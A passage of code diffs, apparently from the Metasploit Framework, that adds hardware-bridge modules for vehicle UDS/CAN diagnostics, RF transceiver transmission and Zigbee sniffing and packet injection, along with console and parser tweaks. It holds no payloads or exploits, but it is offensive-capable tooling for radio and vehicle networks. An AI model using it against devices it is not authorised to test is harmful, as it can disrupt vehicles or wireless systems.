data.map! { |d| d.to_s(16) } if !data.empty? && (data[0].is_a? Integer)
bus = client.automotive.active_bus unless bus
unless bus
print_line("No active bus, use 'connect' or specify bus via the options")
return {}
end
client.automotive.send_isotp_and_wait_for_response(bus,srcId, dstId, [0x31, routine_type] + id + data, opt)
client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x31, routine_type] + id + data, opt)
end
### Mode $3E ###
@ -809,28 +869,28 @@ module UDS
# intervals
#
# @param bus [String] unique CAN bus identifier
# @param srcId [Integer] Integer representation of the Sending CAN ID
# @param dstId [Integer] Integer representation of the receiving CAN ID
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
# @param suppress_response [Boolean] By default suppress ACK from ECU. Set to false if you want confirmation
#
# @return [Hash] Packet hash from client.automotive. Typically blank unless suppress_response is false
def send_tester_present(bus, srcId, dstId, suppress_response=true)
if not client.automotive
def send_tester_present(bus, src_id, dst_id, suppress_response = true)
unless client.automotive
print_error("Not an automotive hwbridge session")
return {}
end
srcId = srcId.to_s(16)
dstId = dstId.to_s(16)
bus = client.automotive.active_bus if not bus
if not bus
src_id = src_id.to_s(16)
dst_id = dst_id.to_s(16)
bus = client.automotive.active_bus unless bus
unless bus
print_line("No active bus, use 'connect' or specify bus via the options")
return {}
end
suppress = 0x80
suppress = 0 if not suppress_reponse
suppress = 0 unless suppress_response
opt = {}
opt["MAXPKTS"] = 1
client.automotive.send_isotp_and_wait_for_response(bus,srcId, dstId, [0x3E, suppress], opt)
client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x3E, suppress], opt)
end
end

View File

@ -0,0 +1,297 @@
# -*- coding: binary -*-
module Msf
class Post
module Hardware
module RFTransceiver
module RFTransceiver
attr_accessor :index
# Validates success of a function call
# @param r [Hash] A hash in expected format { "success" => true }
# @return [Boolean] if success is true or not, returns false if hash is wrong
def return_success(r)
return false unless r
return false unless r.has_key?('success')
return r['success']
end
# Checks to see if this module is a RF Transceiver module
# @return [Boolean] true if client.rftransceiver is loaded
def is_rf?
return true if client.rftransceiver
print_error("Not an RFTransceiver module")
return false
end
# Returns a list of supported USB indexes by relay
# @return [Array] Example: [ 0, 1 ]
def get_supported_indexes
return [] unless is_rf?
r = client.rftransceiver.supported_idx
return r['indexes'] if r.has_key?('indexes')
print_error("Invalid response from relay")
return []
end
#
# Sets the target USB index
# @param idx [Integer]
def set_index(idx)
self.index = idx
end
#
# Sets the frequency
# @param freq [Integer] Example: 433000000
# @param mhz [Integer] Optional Mhz
# @return [Boolean] success value
def set_freq(freq, mhz=-1)
return false unless is_rf?
self.index ||= 0
opts = {}
opts['mhz'] = mhz unless mhz == -1
r = client.rftransceiver.set_freq(self.index, freq, opts)
return_success(r)
end
#
# Sets the mode TX, RX or Idle
# @param mode [String] Mode type TX/RX/IDLE
# @return [Boolean] success value
def set_mode(mode)
return false unless is_rf?
self.index ||= 0
r = client.rftransceiver.set_mode(self.index, mode)
return_success(r)
end
#
# Gets supported modulations
# @return [Array] String list of modulations
def get_modulations
return [] unless is_rf?
self.index ||= 0
return client.rftransceiver.get_supported_modulations(self.index)
end
#
# Sets the modulation
# @param mod [String] Example ASK/OOK
# @return [Boolean] success value
def set_modulation(mod)
return false unless is_rf?
self.index ||= 0
r = client.rftransceiver.set_modulation(self.index, mod)
return_success(r)
end
#
# Sets packet's fixed length
# @param len [Integer] Length of packet
# @return [Boolean] success value
def set_flen(len)
return false unless is_rf?
self.index ||= 0
r = client.rftransceiver.make_pkt_flen(self.index, len)
return_success(r)
end
#
# Sets packet's variable length
# @param len [Integer] Length of packet
# @return [Boolean] success value
def set_vlen(len)
return false unless is_rf?
self.index ||= 0
r = client.rftransceiver.make_pkt_vlen(self.index, len)
return_success(r)
end
#
# Transmits a RF Packet. All data is base64 encoded before transmition to relay
# @param data [String] Blog of data stored in a string. Could be binary
# @param repeat [Integer] Optional Repeat transmission
# @param offset [Integer] Optional Offset within data section
# @return [Boolean] success value
def rfxmit(data, repeat=-1, offset=-1)
return false unless is_rf?
self.index ||= 0
opts = {}
opts['repeat'] = repeat unless repeat == -1
opts['offset'] = offset unless offset == -1
r = client.rftransceiver.rfxmit(self.index, data, opts)
return_success(r)
end
#
# Receive a packet
# @param timeout [Integer] Optional timeout value
# @param blocksize [Integer] Optional blocksize
# @return [String] Base64 decoded data, could be binary
def rfrecv(timeout = -1, blocksize = -1)
return '' unless is_rf?
self.index ||= 0
opts = {}
opts['timeout'] = timeout unless timeout == -1
opts['blocksize'] = blocksize unless blocksize == -1
client.rftransceiver.rfrecv(self.index, opts)
end
#
# Enable packet CRC
# @return [Boolean] success value
def enable_crc
return false unless is_rf?
self.index ||= 0
r = client.rftransceiver.enable_packet_crc(self.index)
return_success(r)
end
#
# Enable Manchester encoding
# @return [Boolean] success value
def enable_manchester
return false unless is_rf?
self.index ||= 0
r = client.rftransceiver.enable_manchester(self.index)
return_success(r)
end
#
# Sets the channel
# @param channel [Integer] Channel number
# @return [Boolean] success value
def set_channel(channel)
return false unless is_rf?
self.index ||= 0
r = client.rftransceiver.set_channel(self.index, channel)
return_success(r)
end
#
# Sets the channel bandwidth
# @param bandwidth [Integer] Bandwidth value
# @param mhz [Integer] Mhz
# @return [Boolean] success value
def set_channel_bw(bandwidth, mhz=-1)
return false unless is_rf?
self.index ||= 0
opts = {}
opts['mhz'] = mhz unless mhz == -1
r = client.rftransceiver.set_channel_bandwidth(self.index, bandwidth, opts)
return_success(r)
end
#
# Calculates the appropriate exponent and mantissa and updates the correct registers
# chanspc is in kHz. if you prefer, you may set the chanspc_m and chanspc_e settings directly.
# only use one or the other:
# * chanspc
# * chanspc_m and chanspc_e
# @param chanspc [Integer]
# @param chanspc_m [Integer]
# @param chanspc_e [Integer]
# @param mhz [Integer] Mhz
# @return [Boolean] success value
def set_channel_spc(chanspc = -1, chanspc_m = -1, chanspc_e = -1, mhz=-1)
return false unless is_rf?
self.index ||= 0
opts = {}
opts['chanspc'] = chanspc unless chanspc == -1
opts['chanspc_m'] = chanspc_m unless chanspc_m == -1
opts['chanspc_e'] = chanspc_e unless chanspc_e == -1
opts['mhz'] = mhz unless mhz == -1
r = client.rftransceiver.set_channel_spc(self.index, opts)
return_success(r)
end
#
# Sets the baud rate
# @param baud [Integer] baud rate
# @param mhz [Integer] Optional Mhz
# @return [Boolean] success value
def set_baud(baud, mhz=-1)
return false unless is_rf?
self.index ||= 0
opts = {}
opts['mhz'] = mhz unless mhz == -1
r = client.rftransceiver.set_baud_rate(self.index, baud, opts)
return_success(r)
end
#
# Sets the deviation
# @param deviat [Integer] deviat value
# @param mhz [Integer] Optional mhz
# @return [Boolean] success value
def set_deviation(deviat, mhz=-1)
return false unless is_rf?
self.index ||= 0
opts = {}
opts['mhz'] = mhz unless mhz == -1
r = client.rftransceiver.set_deviation(self.index, deviat, opts)
return_success(r)
end
#
# Sets sync word
# @param word [Integer] Sync word
# @return [Boolean] success value
def set_sync_word(word)
return false unless is_rf?
self.index ||= 0
r = client.rftransceiver.set_sync_word(self.index, word)
return_success(r)
end
#
# Sets the sync mode
# @param mode [Integer] Mode
# @return [Boolean] success value
def set_sync_mode(mode)
return false unless is_rf?
self.index ||= 0
r = client.rftransceiver.set_sync_mode(self.index, mode)
return_success(r)
end
#
# Sets the number of preamble bits
# @param bits [Integer] number of preamble bits to use
# @return [Boolean] success value
def set_preamble(bits)
return false unless is_rf?
self.index ||= 0
r = client.rftransceiver.set_number_preamble(self.index, bits)
return_success(r)
end
#
# Sets the power to max. Ensure you set the frequency first before using this
# @return [Boolean] success value
def max_power
return false unless is_rf?
self.index ||= 0
r = client.rftransceiver.set_maxpower(self.index)
return_success(r)
end
#
# Set power level
# @param level [Integer] Power level
# @return [Boolean] success value
def set_power(level)
return false unless is_rf?
self.index ||= 0
r = client.rftransceiver.set_power(self.index, level)
return_success(r)
end
end
end
end
end
end

View File

@ -0,0 +1,255 @@
# -*- coding: binary -*-
module Msf
class Post
module Hardware
module Zigbee
module Utils
## Constants for packet decoding fields
# Frame Control Field
DOT154_FCF_TYPE_MASK = 0x0007 #: Frame type mask
DOT154_FCF_SEC_EN = 0x0008 #: Set for encrypted payload
DOT154_FCF_FRAME_PND = 0x0010 #: Frame pending
DOT154_FCF_ACK_REQ = 0x0020 #: ACK request
DOT154_FCF_INTRA_PAN = 0x0040 #: Intra-PAN activity
DOT154_FCF_DADDR_MASK = 0x0C00 #: Destination addressing mode mask
DOT154_FCF_VERSION_MASK = 0x3000 #: Frame version
DOT154_FCF_SADDR_MASK = 0xC000 #: Source addressing mask mode
# Frame Control Field Bit Shifts
DOT154_FCF_TYPE_MASK_SHIFT = 0 #: Frame type mask mode shift
DOT154_FCF_DADDR_MASK_SHIFT = 10 #: Destination addressing mode mask
DOT154_FCF_VERSION_MASK_SHIFT = 12 #: Frame versions mask mode shift
DOT154_FCF_SADDR_MASK_SHIFT = 14 #: Source addressing mask mode shift
# Address Mode Definitions
DOT154_FCF_ADDR_NONE = 0x0000 #: Not sure when this is used
DOT154_FCF_ADDR_SHORT = 0x0002 #: 4-byte addressing
DOT154_FCF_ADDR_EXT = 0x0003 #: 8-byte addressing
DOT154_FCF_TYPE_BEACON = 0 #: Beacon frame
DOT154_FCF_TYPE_DATA = 1 #: Data frame
DOT154_FCF_TYPE_ACK = 2 #: Acknowledgement frame
DOT154_FCF_TYPE_MACCMD = 3 #: MAC Command frame
DOT154_CRYPT_NONE = 0x00 #: No encryption, no MIC
DOT154_CRYPT_MIC32 = 0x01 #: No encryption, 32-bit MIC
DOT154_CRYPT_MIC64 = 0x02 #: No encryption, 64-bit MIC
DOT154_CRYPT_MIC128 = 0x03 #: No encryption, 128-bit MIC
DOT154_CRYPT_ENC = 0x04 #: Encryption, no MIC
DOT154_CRYPT_ENC_MIC32 = 0x05 #: Encryption, 32-bit MIC
DOT154_CRYPT_ENC_MIC64 = 0x06 #: Encryption, 64-bit MIC
DOT154_CRYPT_ENC_MIC128 = 0x07 #: Encryption, 128-bit MIC
# Infer if the current session is for a ZigBee device.
# @return [Boolean] true if session is for a ZigBee device, false otherwise
def is_zigbee_hwbridge_session?
return true if client.zigbee
print_error("Not a ZigBee hwbridge session")
false
end
# Verify if a device has been specified.
# @return [Boolean] true if device is specified, false otherwise
def verify_device(device)
return true if device
print_line("No target device set, use 'target' or specify bus via the options.")
false
end
# Retrieves the target Zigbee device. This is typically set by the user via the
# interactive HWBridge command line
# @return [String] Zigbee device ID
def get_target_device
return unless is_zigbee_hwbridge_session?
return client.zigbee.get_target_device
end
# Sets the target default Zigbee Device. This command typically isn't called via a script
# Instead the user is expected to set this via the interactive HWBridge commandline
# @param device [String] Zigbee device ID
def set_target_device(device)
return unless is_zigbee_hwbridge_session?
client.zigbee.set_target_device device
end
# Sets the Zigbee Channel
# @param device [String] Zigbee device ID
# @param channel [Integer] Channel number, typically 11-25
def set_channel(device, channel)
return {} unless is_zigbee_hwbridge_session?
device = client.zigbee.target_device unless device
return {} unless verify_device(device)
client.zigbee.set_channel(device, channel)
end
# Inject raw packets. Need firmware on the zigbee device that supports transmission.
# @param device [String] Zigbee device ID
# @param data [String] Raw binary data sent as a string
def inject(device, data)
return {} unless is_zigbee_hwbridge_session?
device = client.zigbee.target_device unless device
return {} unless verify_device(device)
client.zigbee.inject(device, data)
end
# Recieves data from the Zigbee device
# @param device [String] Zigbee device ID
# @return [String] Binary blob of returned data
def recv(device)
return {} unless is_zigbee_hwbridge_session?
device = client.zigbee.target_device unless device
return {} unless verify_device(device)
client.zigbee.recv(device)
end
# Turn off Zigbee receiving
# @param device [String] Zigbee device ID
def sniffer_off(device)
return {} unless is_zigbee_hwbridge_session?
device = client.zigbee.target_device unless device
return {} unless verify_device(device)
client.zigbee.sniffer_off(device)
end
# Turn on Zigbee receiving
# @param device [String] Zigbee device ID
def sniffer_on(device)
return {} unless is_zigbee_hwbridge_session?
device = client.zigbee.target_device unless device
return {} unless verify_device(device)
client.zigbee.sniffer_on(device)
end
# Breaks up the packet into different sections. Also provides
# Some decoding information. This method relates to Killerbee's Pktchop method and
# Returns a similar array structure PktChop. If it's a beacon data you will also have
# A BEACONDATA array of raw beacon related packets. You can pull other decoded portions from
# the returned hash such as
# FSF
# SEQ
# SPAN_ID
# SOURCE
# SUPERFRAME
# GTS
# PENDING_ADDRESS_COUNT
# PROTOCOL_ID
# STACK_PROFILE
# CAPABILITY
# EXT_PAN_ID
# TX_OFFSET
# UPDATE_ID
# @param packet [String] Raw data from recv
# @return [Hash] { PktChop => [Array of data], ..
def dot154_packet_decode(packet)
result = {}
offset = 0
pktchop = ['', '', '', '', '', '', [], '']
pktchop[0] = packet[0,2]
# Sequence number
pktchop[1] = packet[2]
# Byte swap
fcf = pktchop[0].reverse.unpack("H*")[0].hex
result["FSF"] = fcf
result["SEQ"] = pktchop[1]
# Check if we are dealing with a beacon frame
if (fcf & DOT154_FCF_TYPE_MASK) == DOT154_FCF_TYPE_BEACON
beacondata = ["", "", "", "", "", "", "", "", "", ""]
# 802.15.4 fields, SPAN and SA
pktchop[4] = packet[3,2]
pktchop[5] = packet[5,2]
result["SPAN_ID"] = pktchop[4].reverse.unpack("H*")[0]
result["SOURCE"] = pktchop[5].reverse.unpack("H*")[0]
offset = 7
# Superframe specification
beacondata[0] = packet[offset,2]
result["SUPERFRAME"] = beacondata[0]
offset+=2
# GTS data
beacondata[1] = packet[offset]
result["GTS"] = beacondata[1]
offset+=1
# Pending address count
beacondata[2] = packet[offset]
result["PENDING_ADDRESS_COUNT"] = beacondata[2]
offset+=1
# Protocol ID
beacondata[3] = packet[offset]
result["PROTOCOL_ID"] = beacondata[3]
offset+=1
# Stack Profile version
beacondata[4] = packet[offset]
result["STACK_PROFILE"] = beacondata[4]
offset+=1
# Capability information
beacondata[5] = packet[offset]
result["CAPABILITY"] = beacondata[5]
offset+=1
# Extended PAN ID
beacondata[6] = packet[offset,8]
result["EXT_PAN_ID"] = beacondata[6].reverse.unpack("H*")[0]
offset+=8
# TX Offset
beacondata[7] = packet[offset,3]
result["TX_OFFSET"] = beacondata[7]
offset+=3
# Update ID
beacondata[8] = packet[offset]
result["UPDATE_ID"] = beacondata[8]
offset+=1
pktchop[6] = beacondata
result["BEACONDATA"] = beacondata
else
# Not a beacon frame
# DPAN
pktchop[2] = packet[3,2]
offset = 5
# Examine the destination addressing mode
daddr_mask = (fcf & DOT154_FCF_DADDR_MASK) >> 10
if daddr_mask == DOT154_FCF_ADDR_EXT
pktchop[3] = packet[offset,8]
offset+=8
elsif daddr_mask == DOT154_FCF_ADDR_SHORT
pktchop[3] = packet[offset,2]
offset+=2
end
# Examine the Intra-PAN flag
if (fcf & DOT154_FCF_INTRA_PAN) == 0
pktchop[4] = packet[offset,2]
offset+=2
end
# Examine the source addressing mode
saddr_mask = (fcf & DOT154_FCF_SADDR_MASK) >> 14
if daddr_mask == DOT154_FCF_ADDR_EXT
pktchop[5] = packet[offset,8]
offset+=8
elsif daddr_mask == DOT154_FCF_ADDR_SHORT
pktchop[5] = packet[offset,2]
offset+=2
end
end
# Append remaining payload
pktchop[7] = packet[offset,packet.size] if offset < packet.size
result["PktChop"] = pktchop
return result
end
end
end
end
end
end

View File

@ -52,6 +52,7 @@ module Msf
@cache_payloads = nil
@previous_module = nil
@module_name_stack = []
@dangerzone_map = nil
end
#
@ -595,6 +596,9 @@ module Msf
return false
end
# Divert logic for dangerzone mode
args = dangerzone_codename_to_module(args)
# Try to create an instance of the supplied module name
mod_name = args[0]
@ -873,9 +877,86 @@ module Msf
end
end
return dangerzone_modules_to_codenames(res.sort) if dangerzone_active?
return res.sort
end
#
# Convert squirrel names back to regular module names
#
def dangerzone_codename_to_module(args)
return args unless dangerzone_active? && args.length > 0 && args[0].length > 0
return args unless args[0] =~ /^[A-Z]/
args[0] = dangerzone_codename_to_module_name(args[0])
args
end
#
# Determine if dangerzone mode is active via date or environment variable
#
def dangerzone_active?
active = Time.now.strftime("%m%d") == "0401" || Rex::Compat.getenv('DANGERZONE').to_i > 0
if active && @dangerzone_map.nil?
dangerzone_build_map
end
active
end
#
# Convert module names to squirrel names
#
def dangerzone_modules_to_codenames(names)
(names + @dangerzone_map.keys.grep(/^[A-Z]+/)).sort
end
def dangerzone_codename_to_module_name(cname)
@dangerzone_map[cname] || cname
end
def dangerzone_module_name_to_codename(mname)
@dangerzone_map[mname] || mname
end
def dangerzone_build_map
return unless @dangerzone_map.nil?
@dangerzone_map = {}
res = []
%W{exploit auxiliary}.each do |mtyp|
mset = framework.modules.module_names(mtyp)
mset.each do |mref|
res << mtyp + '/' + mref
end
end
words_a = ::File.readlines(::File.join(
::Msf::Config.data_directory, "wordlists", "dangerzone_a.txt"
)).map{|line| line.strip.upcase}
words_b = ::File.readlines(::File.join(
::Msf::Config.data_directory, "wordlists", "dangerzone_b.txt"
)).map{|line| line.strip.upcase}
aidx = -1
bidx = -1
res.sort.each do |mname|
word_a = words_a[ (aidx += 1) % words_a.length ]
word_b = words_b[ (bidx += 1) % words_b.length ]
cname = word_a + word_b
while @dangerzone_map[cname]
aidx += 1
word_a = words_a[ (aidx += 1) % words_a.length ]
cname = word_a + word_b
end
@dangerzone_map[mname] = cname
@dangerzone_map[cname] = mname
end
end
#
# Module list enumeration
#

View File

@ -122,6 +122,11 @@ module ModuleCommandDispatcher
# Checks to see if a target is vulnerable.
#
def cmd_check(*args)
if args.first =~ /^\-h$/i
cmd_check_help
return
end
ip_range_arg = args.shift || mod.datastore['RHOSTS'] || framework.datastore['RHOSTS'] || ''
opt = Msf::OptAddressRange.new('RHOSTS')
@ -162,6 +167,32 @@ module ModuleCommandDispatcher
end
end
def cmd_check_help
print_line('Usage: check [option] [IP Range]')
print_line
print_line('Options:')
print_line('-h You are looking at it.')
print_line
print_line('Examples:')
print_line('')
print_line('Normally, if a RHOST is already specified, you can just run check.')
print_line('But here are different ways to use the command:')
print_line
print_line('Against a single host:')
print_line('check 192.168.1.123')
print_line
print_line('Against a range of IPs:')
print_line('check 192.168.1.1-192.168.1.254')
print_line
print_line('Against a range of IPs loaded from a file:')
print_line('check file:///tmp/ip_list.txt')
print_line
print_line('Multi-threaded checks:')
print_line('1. set THREADS 10')
print_line('2. check')
print_line
end
def report_vuln(instance)
framework.db.report_vuln(
workspace: instance.workspace,

View File

@ -1,9 +1,9 @@
# -*- coding: binary -*-
# frozen_string_literal: true
require 'shellwords'
module Rex
module Parser
###
#
# This class parses arguments in a getopt style format, kind of.
@ -12,12 +12,6 @@ module Parser
#
###
class Arguments
#
# Specifies that an option is expected to have an argument
#
HasArgument = (1 << 0)
#
# Initializes the format list with an array of formats like:
#
@ -27,11 +21,7 @@ class Arguments
#
def initialize(fmt)
self.fmt = fmt
# I think reduce is a better name for this method, but it doesn't exist
# before 1.8.7, so use the stupid inject instead.
self.longest = fmt.keys.inject(0) { |max, str|
max = ((max > str.length) ? max : str.length)
}
self.longest = fmt.keys.max_by(&:length)
end
#
@ -44,55 +34,54 @@ class Arguments
#
# Parses the supplied arguments into a set of options.
#
def parse(args, &block)
def parse(args, &_block)
skip_next = false
args.each_with_index { |arg, idx|
if (skip_next == true)
args.each_with_index do |arg, idx|
if skip_next
skip_next = false
next
end
if (arg.match(/^-/))
if arg[0] == '-'
cfs = arg[0..2]
fmt.each_pair { |fmtspec, val|
next if (fmtspec != cfs)
fmt.each_pair do |fmtspec, val|
next if fmtspec != cfs
param = nil
if (val[0])
if val[0]
param = args[idx + 1]
skip_next = true
end
yield fmtspec, idx, param
}
end
else
yield nil, idx, arg
end
}
end
end
#
# Returns usage information for this parsing context.
#
def usage
txt = "\nOPTIONS:\n\n"
txt = ["\nOPTIONS:\n"]
fmt.sort.each { |entry|
fmt.sort.each do |entry|
fmtspec, val = entry
txt << " #{fmtspec.ljust(longest)}" + ((val[0] == true) ? " <opt> " : " ")
txt << val[1] + "\n"
}
txt << "\n"
return txt
opt = val[0] ? " <opt> " : " "
txt << " #{fmtspec.ljust(longest.length)}#{opt}#{val[1]}"
end
txt << ""
txt.join("\n")
end
def include?(search)
return fmt.include?(search)
fmt.include?(search)
end
def arg_required?(opt)
@ -101,8 +90,6 @@ class Arguments
attr_accessor :fmt # :nodoc:
attr_accessor :longest # :nodoc:
end
end
end
end

View File

@ -70,6 +70,21 @@ class Client
send_request("/custom_methods")
end
#
# Sends a reset signal to the device to perform a software bounce or a full
# factory reset. Depends on how the device decided to handle it.
#
def reset
send_request("/control/factory_reset")
end
#
# Sends a reboot signal to reboot the device.
#
def reboot
send_request("/control/reboot")
end
##
#
# Alias processor

View File

@ -37,11 +37,11 @@ class Automotive < Extension
# @param bus [String] bus name
#
# @return [Boolean] return true if bus is valid
def is_valid_bus? bus
def is_valid_bus?(bus)
valid = false
get_supported_buses if self.buses == nil
if not bus.blank?
self.buses.each do |b|
get_supported_buses if buses.nil?
unless bus.blank?
buses.each do |b|
valid = true if b["bus_name"] == bus
end
end
@ -55,10 +55,10 @@ class Automotive < Extension
#
# @return [Hash] client.send_request response with "Error" if any exist
def check_for_errors(data)
if data and data.has_key? "Packets"
if data && (data.key? "Packets")
if data["Packets"].size == 1
if data["Packets"][0]["DATA"].size > 3 and data["Packets"][0]["DATA"][1].hex == 0x7F
if ERR_MNEMONIC.has_key? data["Packets"][0]["DATA"][3].hex
if data["Packets"][0]["DATA"].size > 3 && data["Packets"][0]["DATA"][1].hex == 0x7F
if ERR_MNEMONIC.key? data["Packets"][0]["DATA"][3].hex
err = data["Packets"][0]["DATA"][3].hex
data["error"] = { ERR_MNEMONIC[err] => ERR_DESC[ERR_MNEMONIC[err]] }
else
@ -86,8 +86,8 @@ class Automotive < Extension
end
def get_supported_buses
self.buses = client.send_request("/automotive/supported_buses")
self.buses
buses = client.send_request("/automotive/supported_buses")
buses
end
def get_bus_config(bus)
@ -103,21 +103,23 @@ class Automotive < Extension
client.send_request("/automotive/#{bus}/cansend?id=#{id}&data=#{data}")
end
def send_isotp_and_wait_for_response(bus, srcId, dstId, data, opt={})
# TODO Implement sending ISO-TP > 8 bytes
def send_isotp_and_wait_for_response(bus, src_id, dst_id, data, opt = {})
# TODO: Implement sending ISO-TP > 8 bytes
data = [ data ] if data.is_a? Integer
if data.size < 8
data = array2hex(data).join
request_str = "/automotive/#{bus}/isotpsend_and_wait?srcid=#{srcId}&dstid=#{dstId}&data=#{data}"
request_str += "&timeout=#{opt["TIMEOUT"]}" if opt.has_key? "TIMEOUT"
request_str += "&maxpkts=#{opt["MAXPKTS"]}" if opt.has_key? "MAXPKTS"
request_str = "/automotive/#{bus}/isotpsend_and_wait?srcid=#{src_id}&dstid=#{dst_id}&data=#{data}"
request_str += "&timeout=#{opt['TIMEOUT']}" if opt.key? "TIMEOUT"
request_str += "&maxpkts=#{opt['MAXPKTS']}" if opt.key? "MAXPKTS"
return check_for_errors(client.send_request(request_str))
end
return nil
nil
end
attr_reader :buses, :active_bus
private
attr_writer :buses, :active_bus
end

View File

@ -8,6 +8,7 @@ module Automotive
module UDSErrors
# Negative Response Codes (NDC)
ERR_MNEMONIC = {
0x10 => "GR",
0x11 => "SNS",
@ -54,7 +55,25 @@ ERR_MNEMONIC = {
0x73 => "WBSC",
0x78 => "RCRRP",
0x7E => "SFNSIAS",
0x7F => "SNSIAS"
0x7F => "SNSIAS",
0x81 => "RTH",
0x82 => "RTL",
0x83 => "EIR",
0x84 => "EINR",
0x85 => "ERTTL",
0x86 => "TTH",
0x87 => "TTL",
0x88 => "VSTH",
0x89 => "VSTL",
0x8A => "TPTH",
0x8B => "TPTL",
0x8C => "TRNIN",
0x8D => "TRNIG",
0x8F => "BSNC",
0x90 => "SLNIP",
0x91 => "TCCL",
0x92 => "VTH",
0x93 => "VTL"
}
ERR_DESC = {
@ -80,7 +99,25 @@ ERR_DESC = {
"WBSC" => "Wrong Block Sequence Counter",
"RCRRP" => "Request Correctly Received, but Response is Pending",
"SFNSIAS" => "Sub-Function Not Supoorted In Active Session",
"SNSIAS" => "Service Not Supported In Active Session"
"SNSIAS" => "Service Not Supported In Active Session",
"RTH" => "RPM Too High",
"RTL" => "RPM Too Low",
"EIR" => "Engine is Running",
"EINR" => "Engine is not Running",
"ERTTL" => "Engine Run Time Too Low",
"TTH" => "Temperature Too High",
"TTL" => "Temperature Too Low",
"VSTH" => "Vehicle Speed Too High",
"VSTL" => "Vehicle Speed Too Low",
"TPTH" => "Throttle Pedal Too High",
"TPTL" => "Throttle Pedal Too Low",
"TRNIN" => "Transmission Range Not in Neutral",
"TRNIG" => "Transmission Range Not in Gear",
"BSNC" => "Brake Switch Not Closed",
"SLNIP" => "Shifter Lever Not In Park",
"TCCL" => "Torque Converter Clutch Locked",
"VTH" => "Voltage Too High",
"VTL" => "Voltage Too Low"
}
end

View File

@ -0,0 +1,203 @@
#
# -*- coding: binary -*-
require 'rex/post/hwbridge/client'
module Rex
module Post
module HWBridge
module Extensions
module RFTransceiver
###
# RF Transceiver extension - set of commands to be executed on transceivers like the TI cc11XX
###
class RFTransceiver < Extension
def initialize(client)
super(client, 'rftransceiver')
# Alias the following things on the client object so that they
# can be directly referenced
client.register_extension_aliases(
[
{
'name' => 'rftransceiver',
'ext' => self
}
])
end
# Gets supported USB Indexes
# @return [Array] Indexes
def supported_idx
client.send_request("/rftransceiver/supported_idx")
end
# Sets the frequency
# @param idx [Integer] HW Index
# @param opt [Hash] Optional: "mhz" => 24
# @param freq [Integer] Frequency to set
def set_freq(idx, freq, opt={})
request = "/rftransceiver/#{idx}/set_freq?freq=#{freq}"
request << "&mhz=#{opt['mhz']}" if opt.has_key? 'mhz'
client.send_request(request)
end
# Retrieves a list of supported Modulations
# @param idx [Integer] HW Index
# @return [Array] of Modulation strings
def get_supported_modulations(idx)
client.send_request("/rftransceiver/#{idx}/get_modulations")
end
# Sets the mode
# @param idx [Integer] HW Index
# @param mode [String] Either RX, TX or IDLE
def set_mode(idx, mode)
client.send_request("/rftransceiver/#{idx}/set_mode?mode=#{mode}")
end
# Sets the modulation value
# @param idx [Integer] HW Index
# @param mod [String] Modulation Technique
def set_modulation(idx, mod)
client.send_request("/rftransceiver/#{idx}/set_modulation?mod=#{mod}")
end
# Sets fixed packet len
# @param idx [Integer] HW Index
# @param len [Integer] Length to set
def make_pkt_flen(idx, len)
client.send_request("/rftransceiver/#{idx}/make_packet_flen?len=#{len}")
end
# Sets variable packet len
# @param idx [Integer] HW Index
# @param len [Integer] Length to set
def make_pkt_vlen(idx, len)
client.send_request("/rftransceiver/#{idx}/make_packet_vlen?len=#{len}")
end
# Transmits data
# @param idx [Integer] HW Index
# @param data [String] Data to transmit
# @param opt [Hash] Optional parameters: "repeat" => Integer, "offset" => Integer
def rfxmit(idx, data, opt={})
data = Base64.urlsafe_encode64(data)
request = "/rftransceiver/#{idx}/rfxmit?data=#{data}"
request << "&repeat=#{opt['repeat']}" if opt.has_key? 'repeat'
request << "&offset=#{opt['offset']}" if opt.has_key? 'offset'
client.send_request(request)
end
# Receives a packet
# @param idx [Integer] HW Index
# @param opt [Hash] Optional parameters: "timeout" => Integer, "blocksize" => Integer
# @return [Hash] "data" => <recieved data> "timestamp" => When it was received
def rfrecv(idx, opt={})
request = "/rftransceiver/#{idx}/rfrecv"
if opt.size() > 0
first = true
request << '?'
if opt.has_key? 'timeout'
request << "timeout=#{opt['timeout']}"
first = false
end
if opt.has_key? 'blocksize'
request << '&' unless first
request << "blocksize=#{opt['blocksize']}"
end
end
data = client.send_request(request)
# Note the data is initially base64 encoded
if data.size() > 0
data['data'] = Base64.urlsafe_decode64(data['data']) if data.has_key? 'data'
end
data
end
def enable_packet_crc(idx)
client.send_request("/rftransceiver/#{idx}/enable_packet_crc")
end
def enable_manchester(idx)
client.send_request("/rftransceiver/#{idx}/enable_machester")
end
def set_channel(idx, channel)
client.send_request("/rftransceiver/#{idx}/set_channel?channel=#{channel}")
end
def set_channel_bandwidth(idx, bandwidth, opt={})
request = "/rftransceiver/#{idx}/set_channel_bandwidth?bw=#{bandwidth}"
request << "&mhz=#{opt['mhz']}" if opt.has_key? 'mhz'
client.send_request(request)
end
def set_channel_spc(idx, opt={})
request = "/rftransceiver/#{idx}/set_channel_spc"
if opt.size > 0
request << '?'
first = true
if opt.has_key? 'chanspc'
request << "chanspc=#{opt['chanspc']}"
first = false
end
if opt.has_key? 'chanspc_m'
request << '&' unless first
request << "chanspc_m=#{opt['chanspc_m']}"
first = false
end
if opt.has_key? 'chanspc_e'
request << '&' unless first
request << "chanspc_e=#{opt['chanspc_e']}"
first = false
end
if opt.has_key? 'mhz'
request << '&' unless first
request << "mhz=#{opt['mhz']}"
end
end
client.send_request(request)
end
def set_baud_rate(idx, rate, opt={})
request = "/rftransceiver/#{idx}/set_baud_rate?rate=#{rate}"
request << "&mhz=#{opt['mhz']}" if opt.has_key? 'mhz'
client.send_request(request)
end
def set_deviation(idx, deviat, opt={})
request = "/rftransceiver/#{idx}/set_deviation?deviat=#{deviat}"
request << "&mhz=#{opt['mhz']}" if opt.has_key? 'mhz'
client.send_request(request)
end
def set_sync_word(idx, word)
client.send_request("/rftransceiver/#{idx}/set_sync_word?word=#{word}")
end
def set_sync_mode(idx, mode)
client.send_request("/rftransceiver/#{idx}/set_sync_mode?mode=#{mode}")
end
def set_number_preamble(idx, num)
client.send_request("/rftransceiver/#{idx}/set_number_preamble?num=#{num}")
end
def set_maxpower(idx)
client.send_request("/rftransceiver/#{idx}/set_maxpower")
end
def set_power(idx, power)
client.send_request("/rftransceiver/#{idx}/set_power?power=#{power}")
end
end
end
end
end
end
end

View File

@ -0,0 +1,95 @@
#
# -*- coding: binary -*-
require 'rex/post/hwbridge/client'
module Rex
module Post
module HWBridge
module Extensions
module Zigbee
